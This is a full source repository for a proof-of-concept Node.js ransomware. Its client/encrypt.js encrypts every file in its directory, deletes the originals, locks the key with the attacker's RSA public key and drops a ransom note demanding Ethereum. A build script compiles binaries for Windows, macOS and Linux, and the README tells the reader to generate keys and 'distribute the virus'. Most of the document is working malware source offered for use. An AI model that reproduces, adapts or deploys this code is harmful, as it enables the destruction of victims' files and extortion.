├── CONTRIBUTING.md ├── .vscode └── extensions.json ├── .gitignore ├── server └── decrypt.js ├── .eslintrc.json ├── package.json ├── genKey.js ├── LICENSE.txt ├── scripts └── build.js ├── client ├── decrypt.js └── encrypt.js └── README.md /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.vscode/extensions.json: -------------------------------------------------------------------------------- 1 | { 2 | "recommendations": [ 3 | "dbaeumer.vscode-eslint" 4 | ] 5 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | dist/ 2 | 3 | node_modules/ 4 | 5 | # DON'T UPLOAD YOUR PRIVATE OR PUBLIC KEY 6 | server/private.pem 7 | server/public.pem 8 | 9 | .DS_Store -------------------------------------------------------------------------------- /server/decrypt.js: -------------------------------------------------------------------------------- 1 | const { privateDecrypt } = require('crypto'); 2 | const { readFileSync, writeFileSync } = require('fs'); 3 | const { join } = require('path'); 4 | 5 | const decrypted = privateDecrypt( 6 | readFileSync(join(__dirname, 'private.pem')), 7 | readFileSync(join(__dirname, 'device_key_encrypted.dat')) 8 | ); 9 | 10 | writeFileSync(join(__dirname, 'device_key.dat'), decrypted); 11 | -------------------------------------------------------------------------------- /.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "env": { 3 | "commonjs": true, 4 | "es2020": true, 5 | "node": true 6 | }, 7 | "extends": [ 8 | "eslint:recommended" 9 | ], 10 | "parserOptions": { 11 | "ecmaVersion": 11 12 | }, 13 | "rules": { 14 | "semi": [ 15 | "error", 16 | "always" 17 | ], 18 | "quotes": [ 19 | "error", 20 | "single" 21 | ], 22 | "indent": [ 23 | "error", 24 | "tab" 25 | ] 26 | } 27 | } -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ransomware", 3 | "version": "1.0.0", 4 | "description": "A roof of concept ransomware in node.js", 5 | "scripts": { 6 | "build": "node ./scripts/build.js", 7 | "lint": "eslint ." 8 | }, 9 | "keywords": [ 10 | "Ransomware" 11 | ], 12 | "optionalDependencies": { 13 | "pkg": "^4.4.9" 14 | }, 15 | "author": "Eric Li", 16 | "license": "MIT", 17 | "devDependencies": { 18 | "eslint": "^7.5.0" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /genKey.js: -------------------------------------------------------------------------------- 1 | const { generateKeyPairSync } = require('crypto'); 2 | const { writeFileSync } = require('fs'); 3 | const { join } = require('path'); 4 | 5 | const { publicKey, privateKey } = generateKeyPairSync('rsa', { 6 | modulusLength: 4096, // Key length 4096 for security 7 | publicKeyEncoding: { 8 | type: 'spki', 9 | format: 'pem', 10 | }, 11 | privateKeyEncoding: { 12 | type: 'pkcs8', 13 | format: 'pem', 14 | }, 15 | }); 16 | 17 | writeFileSync(join(__dirname, 'server', 'private.pem'), privateKey); 18 | writeFileSync(join(__dirname, 'server', 'public.pem'), publicKey); 19 | 20 | console.log('Key pair generated, do not forget to change the PUBLIC_KEY in client/encrypt.js'); 21 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright © 2020 Eric Li 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /scripts/build.js: -------------------------------------------------------------------------------- 1 | const pkg = require('pkg'); 2 | 3 | if (pkg) { 4 | const { join } = require('path'); 5 | 6 | const encrypt = join(__dirname, '../', 'client', 'encrypt.js'); 7 | const decrypt = join(__dirname, '../', 'client', 'decrypt.js'); 8 | 9 | (async () => { 10 | console.log('Compiling binaries for Windows'); 11 | 12 | await pkg.exec([ 13 | encrypt, 14 | '--target', 15 | 'node14-win-x64', 16 | '--output', 17 | `${join(__dirname, '../', 'dist', 'encrypt.exe')}`, 18 | ]); 19 | await pkg.exec([ 20 | decrypt, 21 | '--target', 22 | 'node14-win-x64', 23 | '--output', 24 | `${join(__dirname, '../', 'dist', 'decrypt.exe')}`, 25 | ]); 26 | 27 | console.log('Compiling binaries for MacOS'); 28 | await pkg.exec([ 29 | encrypt, 30 | '--target', 31 | 'node14-macos-x64', 32 | '--output', 33 | `${join(__dirname, '../', 'dist', 'encrypt')}`, 34 | ]); 35 | 36 | await pkg.exec([ 37 | decrypt, 38 | '--target', 39 | 'node14-macos-x64', 40 | '--output', 41 | `${join(__dirname, '../', 'dist', 'decrypt')}`, 42 | ]); 43 | 44 | console.log('Compiling binaries for Linux'); 45 | await pkg.exec([ 46 | encrypt, 47 | '--target', 48 | 'node14-linux-x64', 49 | '--output', 50 | `${join(__dirname, '../', 'dist', 'encrypt.elf')}`, 51 | ]); 52 | 53 | await pkg.exec([ 54 | decrypt, 55 | '--target', 56 | 'node14-linux-x64', 57 | '--output', 58 | `${join(__dirname, '../', 'dist', 'decrypt.elf')}`, 59 | ]); 60 | 61 | console.log('Compilation complete'); 62 | })(); 63 | } else { 64 | console.log('pkg is not installed!'); 65 | } 66 | -------------------------------------------------------------------------------- /client/decrypt.js: -------------------------------------------------------------------------------- 1 | const { 2 | readFileSync, 3 | existsSync, 4 | readdirSync, 5 | createReadStream, 6 | createWriteStream, 7 | unlinkSync, 8 | } = require('fs'); 9 | const { join, extname, dirname } = require('path'); 10 | const { createDecipheriv } = require('crypto'); 11 | 12 | //* These code ensure the directory name is correct 13 | let directory; 14 | if (process.pkg) { 15 | //* It is run as an executable 16 | directory = dirname(process.execPath); 17 | } else { 18 | //* It is run with nodejs 19 | directory = __dirname; 20 | } 21 | 22 | if (!existsSync(join(directory, 'device_key.dat'))) { 23 | console.log('No decryption file found yet. Did you pay us using the address on NOTICE.html?'); 24 | process.exit(1); 25 | } 26 | 27 | const DEVICE_KEY = Buffer.from(readFileSync(join(directory, 'DEVICE_KEY.dat'))); 28 | 29 | const files = readdirSync(directory); 30 | 31 | for (let i = 0; i < files.length; i++) { 32 | const filename = files[i]; 33 | 34 | let encrypted; 35 | let iv; 36 | if (extname(filename) === '.encrypted') { 37 | encrypted = filename; 38 | iv = `${filename.split('.').slice(0, -1).join('.')}.iv`; 39 | } else if (extname(filename) === '.iv') { 40 | iv = filename; 41 | encrypted = `${filename.split('.').slice(0, -1).join('.')}.encrypted`; 42 | } else { 43 | continue; 44 | } 45 | 46 | files.splice(files.indexOf(encrypted), 1); 47 | files.splice(files.indexOf(iv), 1); 48 | 49 | iv = join(directory, iv); 50 | encrypted = join(directory, encrypted); 51 | 52 | const IV_DATA = Buffer.from(readFileSync(iv).toString(), 'hex'); 53 | 54 | const decipher = createDecipheriv('aes-192-cbc', DEVICE_KEY, IV_DATA); 55 | 56 | const input = createReadStream(encrypted); 57 | const output = createWriteStream(encrypted.split('.').slice(0, -1).join('.')); 58 | 59 | input 60 | .pipe(decipher) 61 | .pipe(output) 62 | .on('finish', () => { 63 | unlinkSync(iv); 64 | unlinkSync(encrypted); 65 | }); 66 | } 67 | 68 | console.log('All your files have been decrypted'); 69 | -------------------------------------------------------------------------------- /client/encrypt.js: -------------------------------------------------------------------------------- 1 | const { 2 | writeFileSync, 3 | readdirSync, 4 | lstatSync, 5 | createReadStream, 6 | createWriteStream, 7 | unlinkSync, 8 | existsSync, 9 | } = require('fs'); 10 | const { dirname, join, extname } = require('path'); 11 | const { randomBytes, publicEncrypt, createCipheriv } = require('crypto'); 12 | 13 | //* These code ensure the directory name is correct 14 | let directory; 15 | if (process.pkg) { 16 | //* It is run as an executable 17 | directory = dirname(process.execPath); 18 | } else { 19 | //* It is run with nodejs 20 | directory = __dirname; 21 | } 22 | 23 | if (existsSync(join(directory, 'device_key_encrypted.dat'))) { 24 | console.log('You have already encrypted your files once, are you sure you want to pay more?'); 25 | process.exit(1); 26 | } 27 | 28 | //! CHANGE THIS PUBLIC KEY 29 | const PUBLIC_KEY = `-----BEGIN PUBLIC KEY----- 30 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoK+jQ8f3O3Ug4GdLEK5X 31 | MixXGi72NMIhU2lEE/BXF3C42J/fjVNYPXvZPzX/Cz3atGBX7D2nK28YntVvAII0 32 | dEZMvcmkR5Y4ZYahFWYyU4NcOWU/TEMv2w3IsQ4Eageu+1D+qS9rCIbj619wYCeJ 33 | ncpMwYD2b0fGpyHZUEfNLX2Qf8QRZPKRtQx05MUPNjgRO/nnXDjq6xs7hEYZB6Nd 34 | fvGjOaggtmY0/7X+wnojkZXyjkbbRRUPiB3/rgXhXsv89T9ioQZO2enK4A6JWn/s 35 | bFYyUBmQ+uzhADy3HcQZkfMGGwZho6FFtOQNZv1fPVbAMPxAGm61yG46uWgiqJUV 36 | 8QIDAQAB 37 | -----END PUBLIC KEY-----`; 38 | 39 | // Generate a unique device key for each client 40 | const DEVICE_KEY = randomBytes(24); 41 | 42 | // Encrypt the device key using the public key, so the client can't decrypt the file that encrypted them 43 | const DEVICE_KEY_ENCRYPTED = publicEncrypt(PUBLIC_KEY, DEVICE_KEY); 44 | writeFileSync(join(directory, 'device_key_encrypted.dat'), DEVICE_KEY_ENCRYPTED); 45 | 46 | // Make sure the virus doesn't encrypt these files 47 | const NO_TOUCH = [ 48 | 'encrypt.exe', 49 | 'encrypt.elf', 50 | 'encrypt.app', 51 | 'decrypt.exe', 52 | 'decrypt.elf', 53 | 'decrypt.app', 54 | 'encrypt.js', 55 | 'decrypt.js', 56 | 'device_key_encrypted.dat', 57 | ]; 58 | 59 | readdirSync(directory).forEach((filename) => { 60 | const rawFilename = filename; 61 | filename = join(directory, filename); 62 | 63 | if ( 64 | lstatSync(filename).isFile() && 65 | extname(filename) !== '.encrypted' && 66 | extname(filename) !== '.iv' && 67 | !NO_TOUCH.includes(rawFilename) 68 | ) { 69 | // Create a initialization vector 70 | const iv = randomBytes(16); 71 | 72 | const cipher = createCipheriv('aes-192-cbc', DEVICE_KEY, iv); 73 | const input = createReadStream(filename); 74 | const output = createWriteStream(`${filename}.encrypted`); 75 | 76 | // Write encrypted data into the file using the cipher 77 | input.pipe(cipher).pipe(output); 78 | 79 | // Write the initialization vector in hexadecimal format 80 | writeFileSync(`${filename}.iv`, iv.toString('hex')); 81 | 82 | // Remove the original file 83 | unlinkSync(filename); 84 | } 85 | }); 86 | 87 | /** 88 | * Make sure there's a way to communicate with the user (e.g. email, etc) 89 | */ 90 | const HTML_TEMPLATE = ` 91 | 92 | 93 | Your Files Have Been Encrypted 94 | 95 | 96 |

Your files have been encrypted!

97 |

Please send 0.3 Ethereum to the following address: 0xDEADBEEFDEADBEEFDEADBEEFDEADBEEFDDEADBEEF

98 | For the sake of the project, please DO NOT send any real ethereum to this address! 99 |
100 |

Make sure you send this: 101 |
102 |

${DEVICE_KEY_ENCRYPTED.toString('hex')}

103 |

Along with your transaction as a message input. We will soon get in touch

104 |
105 |

Warning: Any tampering with any of the files in this directory will result in permanent loss of the file

106 | 107 | 108 | `; 109 | 110 | writeFileSync(join(directory, 'NOTICE.html'), HTML_TEMPLATE, { flag: 'w+' }); 111 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Node.js Ransomware 2 | 3 | This is a proof-of-concept Node.js ransomware. 4 | 5 | [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](http://makeapullrequest.com) 6 | ![david](https://david-dm.org/EL-MTN/Ransomware.svg) 7 | 8 | ## Disclaimers 9 | 10 | This project **DOES NOT** provide the full functionalities and capabilities of a modern ransomware. For example, it doesn't allow for communication of keys between the server and client, rather, you will have to manually communicate these keys by yourself. 11 | 12 | The smart contract for reading ethereum transactions and communicating keys with the client is a WIP. 13 | 14 | ## Table of Contents 15 | 16 | - [Pre-requisites](#pre_requisites) 17 | - [Getting Started](#getting_started) 18 | - [Inner Workings](#inner_workings) 19 | - [Project Structure](#project_structure) 20 | - [Dependencies](#dependencies) 21 | - [License](#license) 22 | 23 | ### Pre-requisites 24 | 25 | - Have [Node.js](https://nodejs.org/) installed 26 | - Recommended editor: [VS Code](https://code.visualstudio.com/) 27 | 28 | ### Getting Started 29 | 30 | - Clone the repo 31 | 32 | ```sh 33 | git clone https://github.com/ 34 | ``` 35 | 36 | - Generate unique key pair 37 | 38 | ```sh 39 | node genKey.js 40 | ``` 41 | 42 | - Modify the `PUBLIC_KEY` in `client/encrypt.js` 43 | 44 | - Distribute the virus (Know what you're doing) 45 | 46 | ### Inner Workings 47 | 48 | - 1. The ransomware first creates a public/private RSA key pair, in which only the private key can decrypt information encrypted by the public key. This creates asymmetrical encryption, in which the client cannot decrypt their own files by themselves 49 | - 2. The public key is bundled and handed out in the ransomware 50 | - 3. A unique device key is created for each computer, and encrypted by the public key. This device key is used to encrypt files in a directory 51 | - 4. The client's files are locked down by running the **encrypt** executable 52 | - 5. The server receives the client's payment and answers their request to decrypt their device key 53 | - 6. The server decrypts the device key encoded by the public key using the private key, by running ```decrypt.js``` 54 | - 7. The resulting device key is sent back to the client, and used to decrypt their files 55 | 56 | ### Project Structure 57 | 58 | | Name | Description | 59 | | ----------- | ----------------------------------------------------------------------- | 60 | | **.vscode** | Holds VS Code editor specific settings | 61 | | **client** | Contains the virus code intended for infection on the client | 62 | | **server** | Holds the public and private key intended for decryption of device keys | 63 | | **scripts** | Contains shell scripts for building executable | 64 | | genKey.js | Creates a master RSA key pair | 65 | | package.json | Contains information of this package for npm, including dependencies | 66 | 67 | ### Dependencies 68 | 69 | This code runs just fine on plain [Node.js](https://nodejs.org), however, [pkg](https://github.com/vercel/pkg) can help with bundling code into binaries for execution, it also has support across platforms. **NOTE**: Bundled binary sizes may be large, very. 70 | 71 | ### License 72 | 73 | Licensed under the [MIT](LICENSE.txt) License. 74 | 75 | Copyright © 2020 Eric Li 76 | 77 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 78 | 79 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 80 | 81 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 82 | --------------------------------------------------------------------------------